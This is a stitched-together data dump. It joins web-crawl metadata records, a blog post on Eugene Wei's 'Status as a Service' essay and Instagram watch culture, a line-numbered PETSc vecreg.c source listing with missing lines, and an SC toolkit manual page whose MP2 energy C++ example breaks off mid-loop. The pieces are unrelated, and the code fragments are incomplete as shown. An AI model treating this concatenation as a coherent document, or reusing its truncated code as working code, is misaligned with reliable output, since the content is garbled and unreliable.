6234,
6235,
6255,
6256,
6288,
6289,
6304,
6305,
6365,
6366,
6415,
6416,
6460,
6461,
6510,
6511,
6561,
6562,
6611,
6612,
6640,
6641,
8046,
8047,
8090,
8091,
8172,
8173,
8191,
8192,
8215,
8216,
8265,
8266,
8338,
8339,
8354,
8355,
8404,
8405,
8458,
8459,
8508,
8509,
8547,
8548,
8597,
8598,
8668,
8669,
8718,
8719,
8785,
8786,
9826,
9827,
9892,
9893,
9922,
9923,
9970,
9971,
9993,
9994,
10043,
10044,
10097,
10098,
10129,
10130,
10205,
10206,
10208,
10210,
10278,
10279,
10330,
10331,
10397,
10398,
10399,
10471,
10472,
10473,
10512,
10513,
10538,
10539,
10596,
10597,
10646,
10647,
10707,
10708,
10713,
10714,
10898,
10899,
10954,
10955,
11022,
11023,
11028,
11029,
11078,
11079,
11084,
11085,
11134,
11135,
11224,
11225,
11274,
11275,
11303,
11304,
11353,
11354,
11411,
11412,
11461,
11462,
11504,
11505,
11554,
11555,
11654,
11655,
11704,
11705,
11784,
11785,
11796,
11797,
11846,
11847,
11858,
11859,
11908,
11909,
11913,
11914,
11959,
11960,
11989,
11990,
12039,
12040,
12054,
12055,
12104,
12105,
12108,
12109,
12285,
12286,
12303,
12304,
12307,
12308,
12367,
12368,
12406,
12407,
12445,
12446,
12541,
12542,
12682,
12683,
12734,
12735,
12771,
12772,
12796,
12797,
12802,
12803,
12816,
12817,
12832,
12833,
12858,
12859,
12887,
12888,
12889
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 12889,
"ccnet_original_nlines": 378,
"rps_doc_curly_bracket": 0.0013189499732106924,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.04163162037730217,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.037426408380270004,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.556770384311676,
"rps_doc_frac_unique_words": 0.43309858441352844,
"rps_doc_mean_word_length": 12.030516624450684,
"rps_doc_num_sentences": 148,
"rps_doc_symbol_to_word_ratio": 0.0008410399896092713,
"rps_doc_unigram_entropy": 4.947645664215088,
"rps_doc_word_count": 852,
"rps_doc_frac_chars_dupe_10grams": 0.10458537191152573,
"rps_doc_frac_chars_dupe_5grams": 0.2427317053079605,
"rps_doc_frac_chars_dupe_6grams": 0.12604877352714539,
"rps_doc_frac_chars_dupe_7grams": 0.12039023637771606,
"rps_doc_frac_chars_dupe_8grams": 0.12039023637771606,
"rps_doc_frac_chars_dupe_9grams": 0.11395122110843658,
"rps_doc_frac_chars_top_2gram": 0.05151220038533211,
"rps_doc_frac_chars_top_3gram": 0.057951219379901886,
"rps_doc_frac_chars_top_4gram": 0.05385366082191467,
"rps_doc_books_importance": -1510.81884765625,
"rps_doc_books_importance_length_correction": -1510.81884765625,
"rps_doc_openwebtext_importance": -812.5055541992188,
"rps_doc_openwebtext_importance_length_correction": -812.5055541992188,
"rps_doc_wikipedia_importance": -633.437744140625,
"rps_doc_wikipedia_importance_length_correction": -633.437744140625
},
"fasttext": {
"dclm": 0.22435837984085083,
"english": 0.22115349769592285,
"fineweb_edu_approx": 1.94960618019104,
"eai_general_math": 0.003949170000851154,
"eai_open_web_math": 0.39614081382751465,
"eai_web_code": 0.6201204061508179
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.82",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "4",
"label": "Analyze"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "4",
"label": "Advanced Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
5,880,477,331,518,845,000 |
Eugene Wei on Social Media Platforms as "Status as a Service" Businesses
Warning: this post is only indirectly related to watches, and therefore might actually make you smarter. The horror.
Eugene Wei is one of the most thoughtful and prolific technology bloggers out there, and his blog is full of insights. But his latest piece, Status as a Service, is the most insightful he’s posted in a long while. “We would have a better understanding of many social networks if we regarded them as Status as a Service (SaaS) businesses. Not al network effects work the same way. Status is a powerful motivator but inherently volatile,” he writes in his tweet linking to the article. His observations are not dissimilar to things I’ve written about in relation to the rise of “affordable luxury”, though he defines a framework in a way no one else has to date.
Status-Seeking Monkeys
‘It is a truth universally acknowledged, that a person in possession of little fortune, must be in want of more social capital.’ - Jane Austen.
This is how Mr. Wei starts his piece. So we’re off and running, quoting the most quotable author for our status-starved times. He starts with two principles: (1) people are status-seeking monkeys, and (2) people seek out the most efficient path to maximizing social capital. If you can’t stand to read the entire article, at least check out Wei’s tweetstorm summary.
How does this relate to watches? Well, I’m willing to bet if you’re reading this you have an Instagram account dedicated to your collection, or at least follow more than a few watch-related Instagram accounts. Instagram has undoubtedly been great for the watch industry, making it all-to-easy for users to quickly snap and post a picture of their latest snag (#newwatchalert #incoming). This follows directly from Wei’s first two principles. We’re status seeking monkeys, looking for the most efficient path to maximize social capital. There’s also a subtlety to bragging about your new watch that Instagram is perfect for. You can’t just whip it out on your watch on a colleague’s desk on Monday morning. You’re just sitting there, hoping they notice it and pay you even the slightest of compliments (they won’t). So, we turn to strangers on Instagram.com to validate our new purchase, as well as learn what we need to purchase next to climb the ladder of social capital, racking up followers and likes along the way. Instagram (and the internet more generally) is particularly well-suited to this sort of humble brag: it grants us a sort of total or pseudo-anonymity we need to feel comfortable bragging, while still showing off the entirety of our #SOTC.
I’ll close with some more closing thoughts from the Wei’s article:
In the immortal words of Obi-Wan Kenobi, ‘Status is what gives a Jedi his power. It's an energy field created by all living things. It surrounds us and penetrates us. It binds the galaxy together.’
That many of the largest tech companies are, in part, status as a service businesses, is not often discussed. Most people don't like to admit to being motivated by status, and few CEO's are going to admit that the job to be done for their company is stroking people’s egos.
From a user perspective, people are starting to talk more and more about the soul-withering effects of playing an always-on status game through the social apps on their always connected phones. You could easily replace Status as a Service with FOMO as a Service. It’s one reason you can still meet so many outrageously wealthy people in Manhattan or Silicon Valley who are still miserable.
This piece is not my contribution to the well-trod genre of Medium thinkpieces counseling stoicism and Buddhism or transcendental meditation or deleting apps off of your phone to find inner peace. There is wisdom in all of those, but if I have anything to offer on that front, it’s this: if you want control of your own happiness, don’t tie it to someone else’s scoreboard.
Money and status are two of the only remaining taboos in American life. It’s still uncouth to ask someone what they earn or what they pay in rent (unless disguised as the cocktail chatter “I only ask because I’m in the market for a new apartment”). And no, I’m not counseling you to pull yourself away from your Instagram feed either. Just to think about what’s happening around us, and how some of the biggest companies in the world are handing out virtual status tokens and then turning around and cashing those in for billions of dollars.
But please do stop scrolling through your Instagram feed for a few minutes to read the entirety of Eugene Wei’s post.
All the Latest
|
{
"url": "https://www.rescapement.com/blog/eugene-wei-on-social-media-platforms-as-status-as-a-service-businesses",
"source_domain": "www.rescapement.com",
"snapshot_id": "crawl=CC-MAIN-2019-13",
"warc_metadata": {
"Content-Length": "81587",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:A4SBTZBIBRWHUWHYYBZA6NH25MGQJMAO",
"WARC-Concurrent-To": "<urn:uuid:8aa5eb4d-7e3c-4f13-bd57-1467b479316a>",
"WARC-Date": "2019-03-22T15:08:10Z",
"WARC-IP-Address": "198.185.159.145",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:2VCCKFLJQOBQAPL5WHGSMO5DMSO3PVYE",
"WARC-Record-ID": "<urn:uuid:596470d6-a70c-4098-a372-56a87bec50de>",
"WARC-Target-URI": "https://www.rescapement.com/blog/eugene-wei-on-social-media-platforms-as-status-as-a-service-businesses",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:575a9ffb-d335-46c1-acbe-5ddb5dc490cf>"
},
"warc_info": "isPartOf: CC-MAIN-2019-13\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for March 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-13-253-122.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
73,
74,
191,
192,
853,
854,
877,
878,
1022,
1023,
1390,
1391,
2649,
2650,
2717,
2718,
2916,
2917,
3191,
3192,
3582,
3583,
3957,
3958,
4500,
4501,
4619,
4620,
4621
],
"line_end_idx": [
73,
74,
191,
192,
853,
854,
877,
878,
1022,
1023,
1390,
1391,
2649,
2650,
2717,
2718,
2916,
2917,
3191,
3192,
3582,
3583,
3957,
3958,
4500,
4501,
4619,
4620,
4621,
4635
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 4635,
"ccnet_original_nlines": 29,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.46296295523643494,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.01028806995600462,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1460905373096466,
"rps_doc_frac_unique_words": 0.49367088079452515,
"rps_doc_mean_word_length": 4.705063343048096,
"rps_doc_num_sentences": 43,
"rps_doc_symbol_to_word_ratio": 0.0030864200089126825,
"rps_doc_unigram_entropy": 5.432162284851074,
"rps_doc_word_count": 790,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.031207960098981857,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.004842619877308607,
"rps_doc_frac_chars_top_3gram": 0.016142049804329872,
"rps_doc_frac_chars_top_4gram": 0.021522730588912964,
"rps_doc_books_importance": -457.5617370605469,
"rps_doc_books_importance_length_correction": -457.5617370605469,
"rps_doc_openwebtext_importance": -249.95130920410156,
"rps_doc_openwebtext_importance_length_correction": -249.95130920410156,
"rps_doc_wikipedia_importance": -198.77975463867188,
"rps_doc_wikipedia_importance_length_correction": -198.77975463867188
},
"fasttext": {
"dclm": 0.033512528985738754,
"english": 0.9494662284851074,
"fineweb_edu_approx": 1.2571349143981934,
"eai_general_math": 0.012961150147020817,
"eai_open_web_math": 0.14734411239624023,
"eai_web_code": 0.0019775601103901863
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "303.483",
"labels": {
"level_1": "Social sciences",
"level_2": "",
"level_3": "Social sciences — Dictionaries"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "5",
"label": "Evaluate"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "1",
"label": "News/Editorial"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "16",
"label": "Personal Blog"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
8,478,891,073,690,235,000 |
Actual source code: vecreg.c
petsc-3.7.4 2016-10-02
Report Typos and Errors
2: #include <petsc/private/vecimpl.h> /*I "petscvec.h" I*/
4: PetscFunctionList VecList = NULL;
5: PetscBool VecRegisterAllCalled = PETSC_FALSE;
9: /*@C
10: VecSetType - Builds a vector, for a particular vector implementation.
12: Collective on Vec
14: Input Parameters:
15: + vec - The vector object
16: - method - The name of the vector type
18: Options Database Key:
19: . -vec_type <type> - Sets the vector type; use -help for a list
20: of available types
22: Notes:
23: See "petsc/include/petscvec.h" for available vector types (for instance, VECSEQ, VECMPI, or VECSHARED).
25: Use VecDuplicate() or VecDuplicateVecs() to form additional vectors of the same type as an existing vector.
27: Level: intermediate
29: .keywords: vector, set, type
30: .seealso: VecGetType(), VecCreate()
31: @*/
32: PetscErrorCode VecSetType(Vec vec, VecType method)
33: {
34: PetscErrorCode (*r)(Vec);
35: PetscBool match;
40: PetscObjectTypeCompare((PetscObject) vec, method, &match);
41: if (match) return(0);
43: PetscFunctionListFind(VecList,method,&r);
44: if (!r) SETERRQ1(PETSC_COMM_SELF,PETSC_ERR_ARG_UNKNOWN_TYPE, "Unknown vector type: %s", method);
45: if (vec->ops->destroy) {
46: (*vec->ops->destroy)(vec);
47: vec->ops->destroy = NULL;
48: }
49: if (vec->map->n < 0 && vec->map->N < 0) {
50: vec->ops->create = r;
51: vec->ops->load = VecLoad_Default;
52: } else {
53: (*r)(vec);
54: }
55: return(0);
56: }
60: /*@C
61: VecGetType - Gets the vector type name (as a string) from the Vec.
63: Not Collective
65: Input Parameter:
66: . vec - The vector
68: Output Parameter:
69: . type - The vector type name
71: Level: intermediate
73: .keywords: vector, get, type, name
74: .seealso: VecSetType(), VecCreate()
75: @*/
76: PetscErrorCode VecGetType(Vec vec, VecType *type)
77: {
83: VecRegisterAll();
84: *type = ((PetscObject)vec)->type_name;
85: return(0);
86: }
89: /*--------------------------------------------------------------------------------------------------------------------*/
93: /*@C
94: VecRegister - Adds a new vector component implementation
96: Not Collective
98: Input Parameters:
99: + name - The name of a new user-defined creation routine
100: - create_func - The creation routine itself
102: Notes:
103: VecRegister() may be called multiple times to add several user-defined vectors
105: Sample usage:
106: .vb
107: VecRegister("my_vec",MyVectorCreate);
108: .ve
110: Then, your vector type can be chosen with the procedural interface via
111: .vb
112: VecCreate(MPI_Comm, Vec *);
113: VecSetType(Vec,"my_vector_name");
114: .ve
115: or at runtime via the option
116: .vb
117: -vec_type my_vector_name
118: .ve
120: Level: advanced
122: .keywords: Vec, register
124: .seealso: VecRegisterAll(), VecRegisterDestroy()
125: @*/
126: PetscErrorCode VecRegister(const char sname[], PetscErrorCode (*function)(Vec))
127: {
131: PetscFunctionListAdd(&VecList,sname,function);
132: return(0);
133: }
|
{
"url": "http://www.mcs.anl.gov/petsc/petsc-current/src/vec/vec/interface/vecreg.c.html",
"source_domain": "www.mcs.anl.gov",
"snapshot_id": "crawl=CC-MAIN-2016-50",
"warc_metadata": {
"Content-Length": "11832",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:HBE7XFT2D6LL7PHA2TJD63NXIXPMODCN",
"WARC-Concurrent-To": "<urn:uuid:837d12f7-5bb8-477e-b827-b463492ae509>",
"WARC-Date": "2016-12-08T20:35:43Z",
"WARC-IP-Address": "140.221.6.95",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:HGWAHHDWMWG4B2R45PMDGXGKC7FI6KOO",
"WARC-Record-ID": "<urn:uuid:3bc3c4d0-e251-4535-9d89-56509e260960>",
"WARC-Target-URI": "http://www.mcs.anl.gov/petsc/petsc-current/src/vec/vec/interface/vecreg.c.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:c8f76389-9192-4d06-8c7c-086117184871>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-31-129-80.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-50\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for November 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
29,
30,
53,
77,
142,
143,
195,
254,
255,
265,
342,
343,
368,
369,
394,
428,
472,
473,
502,
571,
616,
617,
631,
742,
743,
858,
859,
886,
887,
921,
962,
971,
1028,
1035,
1068,
1097,
1098,
1164,
1193,
1194,
1243,
1347,
1379,
1415,
1450,
1459,
1508,
1539,
1584,
1600,
1620,
1629,
1647,
1654,
1655,
1665,
1739,
1740,
1762,
1763,
1787,
1812,
1813,
1838,
1873,
1874,
1901,
1902,
1942,
1983,
1992,
2048,
2055,
2056,
2081,
2127,
2145,
2152,
2153,
2154,
2280,
2281,
2291,
2356,
2357,
2379,
2380,
2405,
2474,
2523,
2524,
2538,
2624,
2625,
2646,
2655,
2702,
2711,
2712,
2790,
2799,
2836,
2879,
2888,
2925,
2934,
2968,
2977,
2978,
3001,
3002,
3032,
3033,
3087,
3096,
3182,
3189,
3190,
3244,
3262
],
"line_end_idx": [
29,
30,
53,
77,
142,
143,
195,
254,
255,
265,
342,
343,
368,
369,
394,
428,
472,
473,
502,
571,
616,
617,
631,
742,
743,
858,
859,
886,
887,
921,
962,
971,
1028,
1035,
1068,
1097,
1098,
1164,
1193,
1194,
1243,
1347,
1379,
1415,
1450,
1459,
1508,
1539,
1584,
1600,
1620,
1629,
1647,
1654,
1655,
1665,
1739,
1740,
1762,
1763,
1787,
1812,
1813,
1838,
1873,
1874,
1901,
1902,
1942,
1983,
1992,
2048,
2055,
2056,
2081,
2127,
2145,
2152,
2153,
2154,
2280,
2281,
2291,
2356,
2357,
2379,
2380,
2405,
2474,
2523,
2524,
2538,
2624,
2625,
2646,
2655,
2702,
2711,
2712,
2790,
2799,
2836,
2879,
2888,
2925,
2934,
2968,
2977,
2978,
3001,
3002,
3032,
3033,
3087,
3096,
3182,
3189,
3190,
3244,
3262,
3268
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 3268,
"ccnet_original_nlines": 120,
"rps_doc_curly_bracket": 0.003671969985589385,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.10109289735555649,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.02049179933965206,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.562841534614563,
"rps_doc_frac_unique_words": 0.64462810754776,
"rps_doc_mean_word_length": 5.650137901306152,
"rps_doc_num_sentences": 27,
"rps_doc_symbol_to_word_ratio": 0.0013661199482157826,
"rps_doc_unigram_entropy": 5.162068843841553,
"rps_doc_word_count": 363,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.026328619569540024,
"rps_doc_frac_chars_top_3gram": 0.025353489443659782,
"rps_doc_frac_chars_top_4gram": 0.016577279195189476,
"rps_doc_books_importance": -334.3081970214844,
"rps_doc_books_importance_length_correction": -334.3081970214844,
"rps_doc_openwebtext_importance": -263.54888916015625,
"rps_doc_openwebtext_importance_length_correction": -263.54888916015625,
"rps_doc_wikipedia_importance": -196.32241821289062,
"rps_doc_wikipedia_importance_length_correction": -196.32241821289062
},
"fasttext": {
"dclm": 0.4245150089263916,
"english": 0.3921647369861603,
"fineweb_edu_approx": 3.0611796379089355,
"eai_general_math": 0.462562620639801,
"eai_open_web_math": 0.4073413610458374,
"eai_web_code": 0.6319859027862549
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "512",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Algebra"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "3",
"label": "Academic Writing"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "4",
"label": "Advanced Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "5",
"label": "Exceptionally Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
8,690,462,446,407,712,000 |
Main Page | Class Hierarchy | Class List | Directories | File List | Class Members | Related Pages
Developing Code Using SC
In addition to the executables, the Scientific Computing toolkit libraries and include files can be installed on your machine.
This is described in the Compiling section of this manual.
The sc-config program can be use to obtain the compilers, compiler options, and libraries needed to use the SC toolkit from your program. This utility is discussed below, along with how the SC toolkit must be initialized in your main subroutine.
The sc-config Program
The sc-config program returns information about how SC was compiled and installed. See sc-config for more information.
Initializing SC
First the execution environment must be initialized using the ExEnv init member.
ExEnv::init(argc, argv);
By default, all output will go to the console stream, cout. To change this, use the following code:
ostream *outstream = new ofstream(outputfilename);
ExEnv::set_out(outstream);
MPI is allowed wait until MPI_Init is called to fill in argc and argv, so you may have to call MPI_Init before you even know that we ready to construct MPIMessageGrp. So if an MPIMessageGrp is needed, it is up to the developer to call MPI_Init to get the argument list for certain MPI implementations.
MPI_Init(&argc, &argv);
When files are read and written, an extension is added to a basename to construct the file name. The default is "SC". To use another basename, make the following call, where basename is a const char *:
SCFormIO::set_default_basename(basename);
If your job might run in parallel, then make the following call or the nodes will print redundant information. The myproc argument is the rank of the called node.
SCFormIO::init_mp(myproc);
This segment of code sets up an object to provide multi-threading:
RefThreadGrp thread = ThreadGrp::initial_threadgrp(argc, argv);
ThreadGrp::set_default_threadgrp(thread);
if (thread.nonnull())
ThreadGrp::set_default_threadgrp(thread);
else
thread = ThreadGrp::get_default_threadgrp();
This segment of code sets up the message passing object:
RefMessageGrp grp = MessageGrp::initial_messagegrp(argc, argv);
if (grp.nonnull())
MessageGrp::set_default_messagegrp(grp);
else
grp = MessageGrp::get_default_messagegrp();
MP2 Implementation Example
This section illustrates how to add a new method a new method to MPQC.
MP2 Implementation Example: Source
This example code illustrates a complete MP2 energy implementation using the SC Toolkit. First an MP2 class is declared and the necesary base class member functions are provided. Next a ClassDesc is defined. Finally, the member functions are defined.
Note that no main routine is provided. This is because this file is designed to be used to extend the functionality of the mpqc executable. To generate a new mpqc executable with the new class available for use, see the MP2 Implementation Example: Makefile section.
#include <stddef.h>
#include <util/misc/autovec.h>
#include <util/misc/scexception.h>
#include <chemistry/qc/wfn/obwfn.h>
#include <chemistry/qc/scf/clhf.h>
using namespace std;
using namespace sc;
class MP2: public Wavefunction {
Ref<OneBodyWavefunction> ref_mp2_wfn_;
double compute_mp2_energy();
public:
MP2(const Ref<KeyVal> &);
MP2(StateIn &);
void save_data_state(StateOut &);
void compute(void);
void obsolete(void);
int nelectron(void);
RefSymmSCMatrix density(void);
int spin_polarized(void);
int value_implemented(void) const;
};
static ClassDesc MP2_cd(typeid(MP2), "MP2", 1, "public Wavefunction",
0, create<MP2>, create<MP2>);
MP2::MP2(const Ref<KeyVal> &keyval):Wavefunction(keyval) {
ref_mp2_wfn_ << keyval->describedclassvalue("reference");
if(ref_mp2_wfn_.null()) {
throw InputError("require a OneBodyWavefunction object",
__FILE__, __LINE__, "reference", 0,
class_desc());
}
}
MP2::MP2(StateIn &statein):Wavefunction(statein)
{
ref_mp2_wfn_ << SavableState::restore_state(statein);
}
void
MP2::save_data_state(StateOut &stateout) {
Wavefunction::save_data_state(stateout);
SavableState::save_state(ref_mp2_wfn_.pointer(),stateout);
}
void
MP2::compute(void)
{
if(gradient_needed()) {
throw FeatureNotImplemented("no gradients yet",
__FILE__, __LINE__, class_desc());
}
double extra_hf_acc = 10.;
ref_mp2_wfn_->set_desired_value_accuracy(desired_value_accuracy()
/ extra_hf_acc);
double refenergy = ref_mp2_wfn_->energy();
double mp2energy = compute_mp2_energy();
ExEnv::out0() << indent << "MP2 Energy = " << mp2energy << endl;
set_value(refenergy + mp2energy);
set_actual_value_accuracy(ref_mp2_wfn_->actual_value_accuracy()
* extra_hf_acc);
}
void
MP2::obsolete(void) {
Wavefunction::obsolete();
ref_mp2_wfn_->obsolete();
}
int
MP2::nelectron(void) {
return ref_mp2_wfn_->nelectron();
}
RefSymmSCMatrix
MP2::density(void) {
throw FeatureNotImplemented("no density yet",
__FILE__, __LINE__, class_desc());
return 0;
}
int
MP2::spin_polarized(void) {
return 0;
}
int
MP2::value_implemented(void) const {
return 1;
}
double
MP2::compute_mp2_energy()
{
if(molecule()->point_group()->char_table().order() != 1) {
throw FeatureNotImplemented("C1 symmetry only",
__FILE__, __LINE__, class_desc());
}
RefSCMatrix vec = ref_mp2_wfn_->eigenvectors();
int nao = vec.nrow();
int nmo = vec.ncol();
int nocc = ref_mp2_wfn_->nelectron()/2;
int nvir = nmo - nocc;
auto_vec<double> cvec_av(new double [vec.nrow() * vec.ncol()]);
double *cvec = cvec_av.get();
vec->convert(cvec);
auto_vec<double> pqrs_av(new double [nao * nao * nao * nao]);
double *pqrs = pqrs_av.get();
for(int n = 0; n < nao*nao*nao*nao; n++) pqrs[n] = 0.0;
Ref<TwoBodyInt> twoint = integral()->electron_repulsion();
const double *buffer = twoint->buffer();
Ref<GaussianBasisSet> basis = this->basis();
int nshell = basis->nshell();
for(int P = 0; P < nshell; P++) {
int nump = basis->shell(P).nfunction();
for(int Q = 0; Q < nshell; Q++) {
int numq = basis->shell(Q).nfunction();
for(int R = 0; R < nshell; R++) {
int numr = basis->shell(R).nfunction();
for(int S = 0; S < nshell; S++) {
int nums = basis->shell(S).nfunction();
twoint->compute_shell(P,Q,R,S);
int index = 0;
for(int p=0; p < nump; p++) {
int op = basis->shell_to_function(P)+p;
for(int q = 0; q < numq; q++) {
int oq = basis->shell_to_function(Q)+q;
for(int r = 0; r < numr; r++) {
int oor = basis->shell_to_function(R)+r;
for(int s = 0; s < nums; s++,index++) {
int os = basis->shell_to_function(S)+s;
int ipqrs = (((op*nao+oq)*nao+oor)*nao+os);
pqrs[ipqrs] = buffer[index];
}
}
}
}
}
}
}
}
twoint = 0;
auto_vec<double> ijkl_av(new double [nmo * nmo * nmo * nmo]);
double *ijkl = ijkl_av.get();
int idx = 0;
for(int i = 0; i < nmo; i++) {
for(int j = 0; j < nmo; j++) {
for(int k = 0; k < nmo; k++) {
for(int l = 0; l < nmo; l++, idx++) {
ijkl[idx] = 0.0;
int index = 0;
for(int p = 0; p < nao; p++) {
for(int q = 0; q < nao; q++) {
for(int r = 0; r < nao; r++) {
for(int s = 0; s < nao; s++,index++) {
ijkl[idx] += cvec[p*nmo + i] * cvec[q*nmo +j]
* cvec[r*nmo + k] * cvec[s*nmo + l]
* pqrs[index];
}
}
}
}
}
}
}
}
pqrs_av.release(); pqrs = 0;
cvec_av.release(); cvec = 0;
auto_vec<double> evals_av(new double [nmo]);
double *evals = evals_av.get();
ref_mp2_wfn_->eigenvalues()->convert(evals);
double energy = 0.0;
for(int i=0; i < nocc; i++) {
for(int j=0; j < nocc; j++) {
for(int a=nocc; a < nmo; a++) {
for(int b=nocc; b < nmo; b++) {
int iajb = (((i*nmo+a)*nmo+j)*nmo+b);
